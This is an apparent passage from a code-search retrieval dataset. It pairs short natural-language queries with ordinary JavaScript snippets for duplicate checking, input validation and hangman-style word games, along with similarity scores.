').join('');\\n secondValue = secondInput.value.trim().split(' ').join('');\\n\\n this.checkValues(firstValue,secondValue);\\n\\n firstInput.value = '' ;\\n secondInput.value = '' ;\\n firstInput.focus();\\n\\n }\",\n \"function checkEntry() {\\n while (typeof sticksToRemove !== \\\"number\\\" ||\\n Math.trunc(sticksToRemove) !== sticksToRemove ||\\n sticksToRemove < 1 ||\\n sticksToRemove > Math.min(3, stickCount)) {\\n sticksToRemove = parseInt(prompt(\\\"Invalid entry. \\\" + players[0] + \\\", how many sticks do you want to remove? (1-3)\\\"));\\n }\\n}\",\n \"function checkDupe(data,x){\\n\\n if(idArray.includes(data[x][0])){\\n return false;\\n } else { return true; }\\n\\n}\",\n \"function areThereDuplicatesBonus(...args) {\\n args.sort();\\n let j = 1;\\n let i = 0;\\n while(j !== args.length){\\n if(args[j] !== args[i]){\\n i++;\\n j++;\\n } else {\\n return true;\\n }\\n }\\n return false;\\n}\",\n \"function areThereDuplicates() {\\n return new Set(arguments).size !== arguments.length;\\n }\",\n \"function areThereDuplicates() {\\n return new Set(arguments).size !== arguments.length;\\n }\",\n \"function validateSkillSelections(){\\n // if there are errors clear them here, we'll replace them if they aren't fixed\\n $('.skills_section .validation_error').remove();\\n var $skills = $(\\\".skill_selector\\\");\\n var result = true;\\n console.log(`Starting skill validation. Result: ${result}`);\\n for(let j = 0; j < $skills.length; j++){\\n for(let i = $skills.length - 1; i > j; i--){\\n if( $($skills[j]).val() === $($skills[i]).val()){\\n // Two skills are the same, fire an error message\\n console.log(\\\"two skills are the same!!!!\\\");\\n result = false;\\n let skillType = $skills[j].id.slice(0, $skills[j].id.lastIndexOf(\\\"_\\\"));\\n if ($(`.skills_section .${skillType}_error`).length < 1){\\n insertValidationError(`.${skillType}_list`, skillType, \\\"You cannot choose the same skill more than once\\\"); \\n }\\n }\\n }\\n }\\n console.log(`Ending skill validation. Result: ${result}`);\\n return result;\\n }\",\n \"function checkGuess () {\\n var isItRepeated = $guessed.includes($guess);\\n if (isItRepeated === true) {\\n alreadyGuessed = true;\\n } else {\\n alreadyGuessed = false;\\n }\\n }\",\n \"addStudent(newStudent) {\\n let foundDuplicates = studentsFullList.filter(student => {\\n return student.name.includes(newStudent.name) == true || student.email.includes(newStudent.email) == true\\n });\\n if (foundDuplicates.length > 0) {\\n console.log(`Student already added`);\\n } else {\\n studentsFullList.push(newStudent);\\n }\\n return {\\n newStudent,\\n studentsFullList\\n }\\n }\",\n \"function isValid(guess) {\\n return !hasDuplicates(guess)\\n}\",\n \"function validateUsers(e) {\\n let username = e.target.name.value;\\n let pin = e.target.pin.value;\\n console.log(username, pin);\\n let x = sortedUsers.find((user) => user.username === username);\\n if (x != undefined) {\\n x.pin === pin ? exitSignIn(x) : alert(\\\"incorrect password\\\");\\n } else {\\n console.log(\\\"at else Existing User\\\");\\n alert(\\\"invalid input, try again\\\");\\n }\\n }\",\n \"function theGuess(userInput) {\\n //if the user guessed correctly....\\n if (userInput === theLetter) {\\n winCounter++;\\n lettersGuessed.length = 0;\\n guessesRemaining = 8;\\n newLetter();\\n printWin();\\n printLetters();\\n printGuesses();\\n winCheck();\\n //if the user guessed incorrectly and that letter has not already been guessed....\\n } else if (lettersGuessed.includes(userInput) === false) {\\n console.log(`User entered ${userInput}`);\\n lettersGuessed.push(userInput);\\n guessesRemaining--;\\n printGuesses();\\n printLetters();\\n }\\n gameCheck();\\n}\",\n \"function checkInputField(event) {\\n if (event.keyCode == 13 && players.length < maxPlayerNumber) {\\n AddPlayer();\\n }\\n}\",\n \"function validActivityInput(){\\n let activity = [];\\n const activityError = \\\"At least one activity must be selected
\\\";\\n $('.activities label input').each((index, element) => {\\n activity.push(element.checked);\\n })\\n if (activity.indexOf(true) === -1 && $('.activityWarning').length === 0){\\n $('.activities').after(activityError);\\n }\\n if (activity.indexOf(true) !== -1 && $('.activityWarning').length > 0){\\n $('.activityWarning').remove();\\n }\\n}\",\n \"function checkInput(name,key)\\n{\\n if (name.match(/^\\\\s*$/)) //checks that roomane is not empty/contain only whitespace\\n {\\n window.alert(\\\"Room Name Can't Be Empty\\\");\\n return false;\\n }\\n else if (key.match(/^\\\\s*$/)) //check that room key is not empty/contain only whitespace\\n {\\n window.alert(\\\"Room Key Can't Be Empty\\\");\\n return false;\\n }\\n else\\n {\\n return true;\\n }\\n}\",\n \"function playersGuessSubmission() {\\n playersGuess = $(\\\"#guessInput\\\").val();\\n \\n $(\\\"#yourGuess\\\").text(\\\"Your guess was \\\" + playersGuess + \\\".\\\");\\n \\n \\t$(\\\"#guessInput\\\").val(\\\"\\\").focus();\\n if (checkGuess()==false){\\n $(\\\"#compare\\\").text(lowerOrHigher());\\n if (guessHistory.indexOf(playersGuess)!== -1){\\n \\t\\t$(\\\"#yourGuess\\\").append(\\\" You've tried that before!\\\"); \\t\\t \\n \\t\\t}\\n \\t}\\n \\tguessHistory.push(playersGuess);\\n \\t\\n}\",\n \"function uniqueValues(value) {\\n if (arr1.includes(value) && arr2.includes(value)) {\\n console.log(\\\"dupe\\\") \\n } else {\\n return value;\\n }\\n }\",\n \"validateAnItem(item) {\\n let errors = [];\\n if (_.find(this.state.items, {sequenceName: item.sequenceName})) {\\n errors.push(\\\"There's already a sequence with this name\\\");\\n }\\n if (_.find(this.state.items, {sequence: item.sequence})) {\\n errors.push(\\\"There's already another entry for this sequence\\\");\\n }\\n if (item.sequenceName === \\\"\\\") {\\n errors.push(\\\"Name is required\\\");\\n }\\n if (item.sequenceDescription === \\\"\\\") {\\n errors.push(\\\"Description is required\\\");\\n }\\n if (item.sequence === \\\"\\\") {\\n errors.push(\\\"Sequence is required\\\");\\n } \\n // We only need the first occurance of a non-allowed letter, so .search makes sense here\\n let nonDNA = item[\\\"sequence\\\"].search(/[^ATCG]/g);\\n if (nonDNA !== -1) {\\n errors.push(`Non-DNA character found at position ${nonDNA}`);\\n }\\n return errors;\\n }\",\n \"function duplicateInputFieldMessage(fieldName) {\\n return \\\"There can be only one input field named \\\\\\\"\\\".concat(fieldName, \\\"\\\\\\\".\\\");\\n}\",\n \"checkDupe() {\\n let occurrences = this.props.occurrences;\\n let habit = this.state.currentHabit;\\n let time = JSON.parse(JSON.stringify(this.state.habitTime));\\n let quantity = this.state.quantity;\\n let found = false;\\n\\n occurrences.forEach(item => {\\n if (item.timestamp.slice(0, 10) === time.slice(0, 10)) {\\n found = true;\\n }\\n });\\n\\n if (found) {\\n alert('Please make any updates to existing logs by updating your table');\\n } else {\\n this.props.logHabit(habit, time, quantity);\\n }\\n }\",\n \"function checkIndivDupe() {\\n var firstInstance = true;\\n var dupeCount = 0;\\n \\n var validUserRows = validUserSheet.getLastRow() + 1;\\n for (var row = 1; row < validUserRows; row++) {\\n if (validUserSheet.getRange(row, 6).getValue() == userEmail) {\\n if (firstInstance) {\\n isIndivDupe = true;\\n //get original batch ID\\n origBatchId = validUserSheet.getRange(row, 2).getValue();\\n origUID = validUserSheet.getRange(row, 3).getValue();\\n origUserFirst = validUserSheet.getRange(row, 4).getValue();\\n origUserLast = validUserSheet.getRange(row, 5).getValue();\\n origUserEmail = validUserSheet.getRange(row, 6).getValue();\\n origUserOrg = validUserSheet.getRange(row, 7).getValue();\\n firstInstance = false;\\n }\\n //increment duplicate count\\n dupeCount++;\\n }\\n }\\n \\n Logger.log('This a duplicate 1: ' + isIndivDupe);\\n Logger.log('The original Batch ID is: ' + origBatchId);\\n \\n if (isIndivDupe) {\\n //get info about original submission using original batch ID\\n \\n var logSheetRows = logSheet.getLastRow() + 1;\\n for (var logRow = 1; logRow < logSheetRows; logRow++) {\\n if (logSheet.getRange(logRow, 3).getValue() == origBatchId) {\\n origRespFirst = logSheet.getRange(logRow, 4).getValue();\\n origRespLast = logSheet.getRange(logRow, 5).getValue();\\n origRespName = origRespFirst + ' ' + origRespLast;\\n origRespEmail = logSheet.getRange(logRow, 6).getValue();\\n origTime = logSheet.getRange(logRow, 1).getValue();\\n origTime = Utilities.formatDate(origTime, ss.getSpreadsheetTimeZone(), \\\"M/d/yy 'at' h:mm a\\\");\\n }\\n }\\n \\n }\\n \\n }\",\n \"function checkDuplicates(args) {\\n const check = {}\\n\\n for (let val of args) {\\n check[val] = (check[val] || 0) + 1\\n }\\n\\n for (let key in check) {\\n if (check[key] > 1) return true\\n }\\n\\n return false\\n}\",\n \"function isDuplicates (alphabet) {\\n let array = [];\\n for (let i = 0; i < alphabet.length; i++) {\\n if (array.includes (alphabet[i])) {\\n return true;\\n }\\n array.push (alphabet[i]);\\n }\\n return false;\\n }\",\n \"function chkAns(){\\n\\tif(usrGss % 1 !== 0){\\n\\t\\t//feedback when your user uses only text chars not number\\n\\t\\t$(\\\"#newFdbk\\\").text(\\\"please input only numbers\\\");\\n\\t\\treturn true;\\n\\t}\\n\\tif(usrGss < 0 || usrGss > 101){\\n\\t\\t//feedback to the user if they use numbers beyond 100 o negative numbers\\n\\t\\t$(\\\"#newFdbk\\\").text('Try a number between 0 and 100');\\n\\t\\treturn true;\\n\\t}\\n\\tif(gssHsty.length > 0){\\n\\t\\t$.each(gssHsty,function(guess,value){//loop through the entire guess history array to look for any number that has been repated by the user guess\\n\\t\\t\\tif(usrGss == value){//compare the equality of each value in the array\\n\\t\\t\\t\\tgssed = true;//set taht guessed value to true\\n\\t\\t\\t}\\n\\t\\t}); \\n\\t}\\n\\tif(gssed){//here we evaluate the guessed number previusly found as a repeated number input by the user\\n\\t\\tgssed = false;\\n\\t\\t//if the user repeats any number, they will get this feedback\\n\\t\\t$(\\\"#newFdbk\\\").text('You already used this number');\\n\\t\\treturn true;\\n\\t}\\nreturn false;\\n}\",\n \"submitWord(event) {\\n event.preventDefault();\\n let word = document.getElementById('inputBox').value.toLowerCase();\\n document.getElementById('inputBox').value = '';\\n if(/^[a-zA-Z]+$/.test(word)) {\\n let submittedWords = this.state.submittedWords;\\n if (!submittedWords.includes(word)) {\\n answer(word);\\n }\\n }\\n }\",\n \"function isDuplicate(str) {\\n for (i = 0; i < guessesSoFarArray.length; i++) {\\n if (str === guessesSoFarArray[i]) {\\n return true;\\n } else { }\\n } // end of for loop\\n return false;\\n} // end of isDuplicate()\",\n \"function validateLetter (usersKeypress) {\\n message.innerText = \\\"\\\";\\n\\n var repeatGuess = lettersGuessed.some(function(item){\\n return item === usersKeypress;\\n })\\n\\n //alert player if the above code is true.\\n if (repeatGuess) {\\n //alert(usersKeypress + \\\" already guessed. Try again!\\\");\\n message.innerHTML = \\\"Already guessed that. Try again!\\\";\\n\\n //if it is not a repeat guess, check if it's in word\\n } else {\\n lettersGuessed.push(usersKeypress);\\n console.log(\\\"Guessed so far\\\", lettersGuessed);\\n\\n //show user's input in browser\\n showLettersGuessed();\\n //is user's input a match to computer guess\\n guessMatch(usersKeypress);\\n }\\n\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.6776648","0.67727125","0.66299736","0.64909345","0.62932765","0.62074447","0.61125845","0.61001307","0.6071562","0.6062199","0.6048642","0.5961513","0.59330827","0.59151876","0.5910981","0.5858354","0.58479273","0.58370197","0.5829865","0.58098704","0.57894814","0.577449","0.5748707","0.5742362","0.5735819","0.572044","0.5695264","0.5693701","0.5689143","0.56772125","0.5675341","0.56751996","0.56732976","0.5665424","0.5658478","0.5655355","0.5655355","0.5655355","0.5655355","0.5655355","0.5655355","0.5650393","0.56454456","0.5632972","0.5629295","0.56286573","0.56095225","0.5609218","0.56085","0.5604083","0.5599149","0.559753","0.5587143","0.55821866","0.5578315","0.5575688","0.5560459","0.5558458","0.5557009","0.5556425","0.55512094","0.5547732","0.5547191","0.55363953","0.553545","0.55337113","0.5528192","0.5524857","0.5522517","0.55121654","0.5494889","0.5481663","0.54797167","0.5478386","0.5476596","0.5470685","0.5467913","0.5466791","0.54597807","0.54597807","0.54582435","0.5456269","0.5444514","0.54408574","0.543818","0.54371667","0.5437087","0.5437069","0.5435257","0.54322916","0.54293406","0.5428722","0.54264706","0.542628","0.542251","0.5415247","0.5413435","0.54026014","0.54004085","0.5400377","0.5399994"],"string":"[\n \"0.6776648\",\n \"0.67727125\",\n \"0.66299736\",\n \"0.64909345\",\n \"0.62932765\",\n \"0.62074447\",\n \"0.61125845\",\n \"0.61001307\",\n \"0.6071562\",\n \"0.6062199\",\n \"0.6048642\",\n \"0.5961513\",\n \"0.59330827\",\n \"0.59151876\",\n \"0.5910981\",\n \"0.5858354\",\n \"0.58479273\",\n \"0.58370197\",\n \"0.5829865\",\n \"0.58098704\",\n \"0.57894814\",\n \"0.577449\",\n \"0.5748707\",\n \"0.5742362\",\n \"0.5735819\",\n \"0.572044\",\n \"0.5695264\",\n \"0.5693701\",\n \"0.5689143\",\n \"0.56772125\",\n \"0.5675341\",\n \"0.56751996\",\n \"0.56732976\",\n \"0.5665424\",\n \"0.5658478\",\n \"0.5655355\",\n \"0.5655355\",\n \"0.5655355\",\n \"0.5655355\",\n \"0.5655355\",\n \"0.5655355\",\n \"0.5650393\",\n \"0.56454456\",\n \"0.5632972\",\n \"0.5629295\",\n \"0.56286573\",\n \"0.56095225\",\n \"0.5609218\",\n \"0.56085\",\n \"0.5604083\",\n \"0.5599149\",\n \"0.559753\",\n \"0.5587143\",\n \"0.55821866\",\n \"0.5578315\",\n \"0.5575688\",\n \"0.5560459\",\n \"0.5558458\",\n \"0.5557009\",\n \"0.5556425\",\n \"0.55512094\",\n \"0.5547732\",\n \"0.5547191\",\n \"0.55363953\",\n \"0.553545\",\n \"0.55337113\",\n \"0.5528192\",\n \"0.5524857\",\n \"0.5522517\",\n \"0.55121654\",\n \"0.5494889\",\n \"0.5481663\",\n \"0.54797167\",\n \"0.5478386\",\n \"0.5476596\",\n \"0.5470685\",\n \"0.5467913\",\n \"0.5466791\",\n \"0.54597807\",\n \"0.54597807\",\n \"0.54582435\",\n \"0.5456269\",\n \"0.5444514\",\n \"0.54408574\",\n \"0.543818\",\n \"0.54371667\",\n \"0.5437087\",\n \"0.5437069\",\n \"0.5435257\",\n \"0.54322916\",\n \"0.54293406\",\n \"0.5428722\",\n \"0.54264706\",\n \"0.542628\",\n \"0.542251\",\n \"0.5415247\",\n \"0.5413435\",\n \"0.54026014\",\n \"0.54004085\",\n \"0.5400377\",\n \"0.5399994\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":12,"cells":{"query":{"kind":"string","value":"displays the word at end of game"},"document":{"kind":"string","value":"function displayWord(hangmanWord) {\n\tvar showWord = \"\";\n\tfor (var i = 0; i < hangmanWord.correctLettersGuessed.length; i++) {\n\t\tshowWord += hangmanWord.correctLettersGuessed[i].letterGuessed;\n\t}\n\treturn showWord;\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function DisplayWord() {\n\tvar wordToPrint : String;\n\tvar hWord : GameObject;\n\t//var offset : float;\n\tswitch(this.kana) {\n\t\tcase \"a\":\n\t\t\twordToPrint = \"あ り\";\n\t\tbreak;\n\t\t\n\t\tcase \"i\":\n\t\t\twordToPrint = \"い な ず ま\";\n\t\tbreak;\n\t\t\n\t\tcase \"u\":\n\t\t\twordToPrint = \"う さ ぎ\";\n\t\tbreak;\n\t\t\t\t\t\n\t\tcase \"e\":\n\t\t\twordToPrint = \"え ん\";\n\t\tbreak;\n\t\t\t\n\t\tcase \"o\":\n\t\t\twordToPrint = \"お す\";\n\t\tbreak;\n\t\t\t\n\t\tcase \"ka\":\n\t\t\twordToPrint = \"か た な\";\n\t\tbreak;\n\t\t\t\n\t\tcase \"ki\":\n\t\t\twordToPrint = \"き り か ぶ\";\n\t\tbreak;\n\t\t\t\n\t\tcase \"ku\":\n\t\t\twordToPrint = \"く さ り\";\n\t\tbreak;\n\t\t\t\n\t\tcase \"ke\":\n\t\t\twordToPrint = \"け る\";\n\t\tbreak;\n\t\t\t\n\t\tcase \"ko\":\n\t\t\twordToPrint = \"こ ぶ し\";\n\t\tbreak;\n\t\t\n\t\tdefault:\n\t\t\t;\n\t\t\t\t\n\t}\n\t//hWord = Instantiate(this.word, this.player.transform.position, Quaternion.identity);\n\t//offset = .005 * wordToPrint.Length;\n\thWord = Instantiate(this.word, new Vector3(0.45, 0.6, -8), Quaternion.identity);\n\thWord.guiText.text = wordToPrint;\n}","function dashes(){\r\n document.getElementById('word').innerHTML = '';\r\n for (var i = 0; i < guesses.length; i++)\r\n document.getElementById('word').innerHTML += guesses[i] + ' ';\r\n document.getElementById('start').style.visibility = \"hidden\";\r\n}","function handleText() {\n if (index < text.length) {\n id(\"output\").innerText = \"\";\n let curWord = text[index];\n id(\"output\").innerText = curWord;\n index++;\n } else {\n endGame();\n }\n }","function showWord(word) {\n var i;\n for (i = 0; i < word.length; i ++) {\n process.stdout.write(word[i]);\n }\n playAgain();\n}","function displayNextWordFor(objectName){\n\tvar obj = HangMan[objectName];\n\tHangMan.gameReady = true;\n\tobj.word = obj.words[Math.floor(Math.random() * obj.words.length)].toLowerCase();\n\tobj.lives = 10;\n\tobj.guesses = [];\n\tobj.trueg = [];\n\tfor ( i = 0 ; i < obj.word.length ; i++ ){obj.trueg.push('0')};\n\tobj.falseg = [];\n\tloadObject(objectName);\n}","function displayWord(word, words, firstRound) {\n\t\tconsole.log(\"currWord: \" + word);\n\t\tdocument.getElementById(\"currWord\").innerHTML = word;\n\t\tvar currChar = 0;\n\n\t\tvar wordLength = word.length;\n\n\t\t$('#currWord').on('click', function() {\n\t\t\tif (firstRound) {\n\t\t\t\t$('#typeDummy').toggleClass('highlight');\n\t\t\t}\n\t\t})\n\n\t\t//when the user types a key\n\t\tdocument.onkeypress = function(evt) {\n\t\t\tif (!gameOver) {\n\t\t\t\tif (evt.keyCode == 8) {\n\t\t\t\t \tevt.preventDefault();\n\t\t\t\t}\t\t\n\t\t\t evt = evt || window.event;\n\t\t\t var charCode = evt.which || evt.keyCode;\n\t\t\t var charTyped = String.fromCharCode(charCode);\n\n\t\t\t if ((charCode == 39) || (charCode <= 122 && charCode >= 97)) {\n\t\t\t\t if (charCode == word.charCodeAt(currChar)) {\n\t\t\t\t \tcurrChar++;\n\t\t\t\t \tdocument.getElementById(\"currWord\").innerHTML = \"\"\n\t\t\t\t \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t + word.substring(0,currChar) + \"\"\n\t\t\t\t \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t + word.substring(currChar, wordLength);\n\t\t\t\t } else {\n\t\t\t\t \tmistakeCount++;\n\t\t\t\t \tif (mistakeCount < 8) {\n\t\t\t\t\t \t$(\"#misses\").html( $(\"#misses\").html() + \"X\" );\n\t\t\t\t \t} else {\n\t\t\t\t \t\t$(\"#misses\").html(mistakeCount);\n\t\t\t\t \t}\n\t\t\t\t }\n\t\t \t}\n\n\t\t \t//once the user has fully typed the word\n\t\t\t if (currChar == wordLength) {\n\t\t\t \tif (firstRound) {\n\t\t\t \t\tstartGame();\n\t\t\t \t} else {\n\t\t\t \t\twordCount++;\n\t\t\t \t\trando = words[Math.floor(Math.random() * words.length)];\n\t\t\t \t\tdisplayWord(rando, words, false);\n\t\t\t \t}\n\t\t\t }\n\t\t }\n\t\t};\n\t}","function final(any) {\n element.wordGuess.textContent = string[any]; // will show win or lose string property\n sound[any].play(); //will play win or lose sound\n score[any]++; //will increment win or lose score\n update(); \n setTimeout(function () { //timer so that you can enjoy the music and strings\n reset();\n }, 2000);\n }","function displayWord(myword, desc){\r\n let display = \"\";\r\n for(let i = 0; i < myword.length; i++){\r\n if(i != myword.length - 1){\r\n display += myword.charAt(i) + \" \";\r\n } else {\r\n display += myword.charAt(i);\r\n }\r\n }\r\n document.getElementById(\"display\").innerHTML = display;\r\n document.getElementById(\"desc\").innerHTML = desc;\r\n}","function Display(){\n document.getElementById(\"wins\").textContent = countWins;\n document.getElementById(\"dispWord\").textContent = dispWord;\n document.getElementById(\"guessesLeft\").textContent = 12 - countGuesses;\n document.getElementById(\"lettersGuessed\").textContent = lettersGuessed;\n console.log(\"Random word is: \" + guessWord);\n}","function endWord() {\n var stringDisplay = \"\"\n globalList.forEach(function(item){\n stringDisplay += item\n document.querySelector(\"#applyGuess\").innerHTML = stringDisplay.toUpperCase()\n document.querySelector(\"#endWord\").innerHTML = \"Word Was:\"\n })\n}","function reveal(guess) {\n for (var z = 0; z < word.length; z++) {\n if (word[z] == guess) {\n context.fillText(word[z], (100 + (z * 20)), 490);\n lettersRemaining--;\n console.log(\"reveal: \" + lettersRemaining);\n }\n }\n }","function showWord(words)\r\n{\r\n\t//generate random array index\r\n\tconst randIndex=Math.floor(Math.random() * words.length);\r\n\t//output random word\r\n\tcurrentWord.innerHTML=words[randIndex];\r\n}","function showword(words){\n const randindex = Math.floor(Math.random() * words.length);\n\n //output random word\n currentword.innerHTML = words[randindex];\n}","function displayLetter(myword, letter, word){ // by jaguar\r\n let display = \"\";\r\n let mywordarr = myword.split(\"\")\r\n for(let i = 0; i < myword.length; i++){\r\n if(i != myword.length){\r\n if(letter === word.charAt(i)){\r\n display = display + letter + \" \";\r\n mywordarr[i] = letter\r\n } else {\r\n display += myword.charAt(i) + \" \";\r\n }\r\n } else {\r\n display += myword.charAt(i);\r\n }\r\n }\r\n displayed = mywordarr.join(\"\")\r\n document.getElementById(\"display\").innerHTML = display;\r\n checkWincondition(display, word)\r\n}","function updateDisplay(wordArray, midGame) {\n // let wordJoin = wordArray.join(\" \");\n document.getElementById(\"guess-word\").innerHTML = wordArray.join(\" \");\n if (midGame !== undefined) {\n document.getElementById(\"letters-guessed\").innerHTML = \"Letters guessed: \" + midGame.join(\", \");\n document.getElementById(\"guess-remain\").innerHTML = \"Guesses left: \" + parseInt(numGuesses - midGame.length);\n document.getElementById(\"hangman-graphic\").innerHTML = hangdood[midGame.length];\n }\n else {\n document.getElementById(\"letters-guessed\").innerHTML = \"Letters guessed: \";\n document.getElementById(\"guess-remain\").innerHTML = \"Guesses left: \" + numGuesses;\n }\n }","function renderNewWord() {\n\n // random word generator\n var random = Math.floor(Math.random() * wordLength.length);\n\n // get a random word and clear the string display\n let word = wordLength[random];\n wordDisplayString.innerHTML = \"\";\n\n // for each character in the word array create a 1 char span\n word.split(\"\").forEach(character => {\n const characterSpan = document.createElement(\"span\");\n characterSpan.innerText = character;\n wordDisplayString.appendChild(characterSpan);\n })\n\n // set input to null and focus it\n wordInput.value = null;\n wordInput.focus();\n }","function showWord(words) {\r\n const randIndex = Math.floor(Math.random() * words.length);\r\n currentWord.innerHTML = words[randIndex];\r\n }","displayWordInfo() {\r\n this.displayHangman();\r\n this.displayLives();\r\n this.displayLetters();\r\n this.displayLettersToGuess();\r\n }","function showWord(words) {\n const randIndex = Math.floor(Math.random() * words.length);\n currentWord.innerHTML = words[randIndex];\n}","function displayNextLevel() {\r\n getWord(level);\r\n encryptGameWord();\r\n writeEncryptedWord();\r\n writeGameInfo();\r\n toggleGameElements();\r\n startTimer(80);\r\n $(\"#user-word\").focus();\r\n }","function renderGame() {\n // Set a random word\n randomNumber = Math.floor(Math.random() * 21); \n currentWord = wordArray[randomNumber][0];\n console.log(\"currentWord\", currentWord);\n\n if (currentWord.length < 8) {\n guessesLeft = currentWord.length + 3;\n // console.log(\"guessesLeft\", guessesLeft);\n } else {\n guessesLeft = 8;\n }\n\n lettersGuessed = [];\n // console.log(\"lettersGuessed\", lettersGuessed);\n dashArr = [];\n\n\n\n\n splitArr = currentWord.toLowerCase().split('');\n // console.log(\"splitArr\", splitArr);\n\n // Check the length of word and render dashes\n // Check for spaces\n splitArr.map(index => {\n if (index === \" \") {\n dashArr.push(' ');\n }\n\n else {\n dashArr.push('-');\n }\n })\n\n // console.log(\"dashArr\", dashArr);\n\n displayWord = dashArr.join('');\n\n // console.log(\"displayWord\", displayWord);\n\n document.querySelector(\"#display-word\").innerHTML = displayWord.toUpperCase();\n document.querySelector(\"#display-wins\").innerHTML = wins;\n document.querySelector(\"#display-losses\").innerHTML = losses;\n document.querySelector(\"#display-guesses-left\").innerHTML = guessesLeft;\n document.querySelector(\"#display-image\").src = \"./assets/images/finnandjake.png\";\n document.querySelector(\"#display-letters-guessed\").innerHTML = lettersGuessed;\n document.querySelector(\"#instructions\").innerHTML = \"Guess A Letter To Get Started!\" ;\n\n\n\n}","function endWin(word) {\n console.log(\"You win. The word was:\");\n showWord(word);\n}","function hangman(){\n var x = word.length;\n var y = x-1;\n var spaces = 0;\n while (x>0){\n numChar++;\n var letter = word.substring(y,x);\n if(letter === \" \"){\n document.getElementById('letter'+x).innerHTML = \" \";\n document.getElementById('letter'+x).style.visibility = \"hidden\";\n document.getElementById('letter'+x).style.display = \"block\";\n document.getElementById('underline'+x).style.display = \"block\";\n spaces++;\n }\n else{\n document.getElementById('letter'+x).innerHTML = letter;\n document.getElementById('letter'+x).style.visibility = \"hidden\";\n document.getElementById('underline'+x).style.display = \"block\"; \n document.getElementById('underline'+x).style.borderBottom = \"3px solid white\";\n }\n x--;\n y--;\n }\n wordLength = word.length - spaces;\n document.getElementById('gamePage').style.display = \"block\";\n\n}","function drawboard(location, word) {\n for (var i = 0; i < word.length; i++) {\n context.fillText('_ ', (location[0] + i * 20), location[1]);\n }\n }","function showText() {\n $(\"#textDisplay\").empty();\n $(\"#instructions\").empty();\n randomWords = [];\n for (var i = 0; i < wordCount; i++) {\n var ranWord = wordList[Math.floor(Math.random() * wordList.length)];\n if (wordList[wordList.length - 1] !== ranWord || wordList[wordList.length - 1] === undefined) {\n randomWords.push(ranWord);\n }\n }\n randomWords.forEach(function(word){\n $(\"#textDisplay\").append($(\"\",{\"text\": word + \" \",\"class\":\"word\"}));\n });\n textDisplay.firstChild.classList.add(\"highlightedWord\")\n }","function showWord(words) {\n // Generate random array index\n const randIndex = Math.floor(Math.random() * words.length);\n // Output the random word\n currentWord.innerHTML = words[randIndex];\n}","function currentWordDisplay() {\n var activeCharacterDisplay = document.querySelector(\"#activeCharacterDisplay\");\n activeCharacterDisplay.textContent = answerArray.join(\" \");\n}","function showWord(words){\r\n// generate random array index//\r\nconst randIndex =math.floor(math.random() * words.length);\r\n// output random words//\r\ncurrentWord.innerHTML = words[randIndex];\r\n}","function right() {\r\n //if guess is correct\r\n //keep checking if to see if there is another space for the same letter\r\n for (var j = 0; j < underScore.length; j++) {\r\n if (word[j] === guess) {\r\n underScore[j] = guess;\r\n var blank = \"\" + underScore.join(\" \") + \"
\";\r\n document.getElementById(\"blank\").innerHTML = blank;\r\n }\r\n //hide and show you win div\r\n if (underScore.join(\"\") === word) {\r\n winMessage.show();\r\n direct.hide();\r\n }\r\n }\r\n}","function displayLetters(guess){\n\t\tfor (var i=0;i {currentWord.innerHTML = words[0][randIndex]}, 200)\r\n}","function updateDisplay() {\n document.getElementById(\"counterWins\").innerText = wins;\n var guessingWordText = \"\";\n for (var i = 0; i < guessingWord.length; i++) {\n guessingWordText += guessingWord[i];\n }\n document.getElementById(\"currentWord\").innerText = guessingWordText;\n document.getElementById(\"counterLives\").innerText = remainingGuesses;\n document.getElementById(\"counterGuessed\").innerText = guessedLetters;\n}","function lose() {\n gameEnd.css('display', 'block');\n endParagraph.html(`Being eaten alive by the bugs probably hurt. You gathered ${points} ${points == 1 ? 'point' : 'points'} before that happened.`);\n}","function underline(){\r\n\r\n underscore = [];\r\n for(let i=0;i 0) {\n wins++;\n var showWins = document.getElementById(\"wins\");\n showWins.innerHTML = wins;\n }\n }\n}","function updateDisplay() {\n\n document.getElementById(\"totalWins\").innerText = wins;\n document.getElementById(\"totalLosses\").innerText = losses;\n\n // Display how much of the word we've already guessed on screen.\n var guessWordText = \"\";\n for (var i = 0; i < guessWord.length; i++) {\n guessWordText += guessWord[i];\n }\n\n //\n document.getElementById(\"currentWord\").innerText = guessWordText;\n document.getElementById(\"lifePoints\").innerText = lifePoints;\n document.getElementById(\"guessedLetters\").innerText = guessedLetters;\n}","displayLetters() {\r\n let wordHidden = \"\\n\";\r\n for (let i = 0; i < this.text.length; i++) {\r\n if (this.lettersToGuess.includes(this.text.charAt(i))) {\r\n wordHidden += HangmanUtils.symbol;\r\n }\r\n else {\r\n wordHidden += this.text.charAt(i);\r\n }\r\n wordHidden += \" \";\r\n }\r\n console.log(wordHidden);\r\n }","function displayGame() {\n getAnimal();\n animalType.innerHTML = gameAnimalType;\n animalToGuess.innerHTML = handleGameWord(gameAnimalExample);\n document.getElementById(\"guess\").focus();\n document.getElementById(\"guess\").select();\n wordWrapper.classList.remove(\"vis-hidden\");\n }","function newGame() {\n gameStart = true\n clearOut();\n ransomdomize();\n createSpan();\n \n //console.log(chosenWord); //CHEAT -- GET THE ANSWERS IN CONCOLE\n \n}","function clock() {\n timeElapsed = timeElapsed + letterTime;\n if (!flipped) {\n lettersShow = lettersShow + 1;\n flipped = (lettersShow >= currentWord.length)\n }else{\n if ( ((wordTime - timeElapsed)/letterTime) < currentWord.length ) {\n lettersShow = lettersShow - 1;\n \n if (lettersShow == 0) {\n flipped = false;\n timeElapsed = 0;\n changeWord();\n }\n }\n }\n\n $('#anim-text').text(function(i,t) {\n return currentWord.substr(0,lettersShow);\n })\n }","function printToPage(randomWord) {\n myWord = randomWord.word;\n // concatenate array to Str for printing on one line\n var myStr = '';\n console.log(myWord);\n for (var i = 0; i < myWord.length; i++){\n if (correctGuesses.includes(myWord[i])) {\n myStr += (\" \" + myWord[i] + \" \");\n }\n else {\n myStr += (\" _ \");\n }\n };\n console.log('\\n' + myStr + '\\n');\n if (correctGuesses.length == myWord.length) {\n console.log(\"GG bro\");\n }\n else {\n promptUser();\n };\n \n}","function draw() {\n if (lives <= 0) {\n ctx.clearRect(0, 0, 